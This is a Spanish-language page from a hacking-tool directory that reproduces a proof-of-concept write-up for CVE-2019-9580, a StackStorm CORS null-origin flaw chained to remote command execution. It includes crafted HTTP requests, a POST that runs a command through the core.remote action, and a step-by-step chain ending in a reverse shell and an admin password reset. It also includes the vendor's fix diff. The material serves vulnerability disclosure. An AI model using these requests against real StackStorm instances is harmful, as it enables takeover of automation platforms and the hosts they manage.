Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-9580 — CVE-2019-9580 - StackStorm: explotando la configuración incorrecta de CORS (origen null) para obtener RCE | Kitploit
Herramientas/GitHubGitHub/mpgn/cve-2019-9580
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: explotando la configuración incorrecta de CORS (origen null) para obtener RCE

Ver Repositorio
3143hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-9580 - StackStorm explotando CORS null origin para obtener RCE < 2.9.3 y 2.10.3

Antes de las versiones 2.10.3/2.9.3, si el origin de la solicitud era desconocido, devolvíamos null. null puede resultar en una solicitud exitosa desde un origin desconocido en algunos clientes. Permitiendo la posibilidad de ataques estilo XSS contra la API de StackStorm.

Descubierto por Barak Tawily y Anna Tsibulskaya

Peek 13-03-2019 17-16 (el usuario en Firefox es la víctima, el usuario en Chrome es el atacante)

Prueba de concepto

Explotando el CORS null

Al enviar una solicitud a la API de StackStorm con una cabecera Origin null Origin: null, el servidor responde con un Access-Control-Allow-Origin a null.

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

Respuesta del servidor:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

Explotar null CORS está documentado en un blogpost de portswigger y podemos encontrar el siguiente payload:

root@kitploit:~

¿Y qué hay del RCE?

StackStorm le permite configurar acciones y algunas de ellas, como core.remote, ejecutan comandos arbitrarios en el host que elija.

image

Así que si ponemos el host 127.0.0.1, ejecutaremos el comando en el docker de StackStorm. Bien, el RCE debería funcionar, ya que se envía una simple solicitud POST para registrar una acción.

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

¿Qué sigue?

Podemos ejecutar comandos en el host de StackStorm, vale, pero consigamos el control total sobre la plataforma StackStorm. Esto se puede hacer restableciendo la contraseña del administrador. Usando la documentación:

¿Necesita cambiar la contraseña? Ejecute: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html

Bien, pongámoslo todo junto:

  1. Enviar un enlace a la víctima con un payload malicioso que registra una nueva acción en el host 127.0.0.1 para ejecutar un comando arbitrario.
  2. La víctima hace clic en el enlace y ve el pony.
  3. Dado que CORS es null cuando se envía una solicitud con la cabecera Origin: null, la solicitud POST para registrar la nueva acción funciona (también configuramos el parámetro credentials: "include").
  4. La acción se dispara y el comando se ejecuta (reverse shell).
  5. El atacante restablece la contraseña del administrador y obtiene el control total de la plataforma StackStorm.
  6. El atacante puede corromper todos los demás hosts registrados en StackStorm.

capture d'écran_1

Aviso de seguridad:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

Recursos:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
Descargar herramienta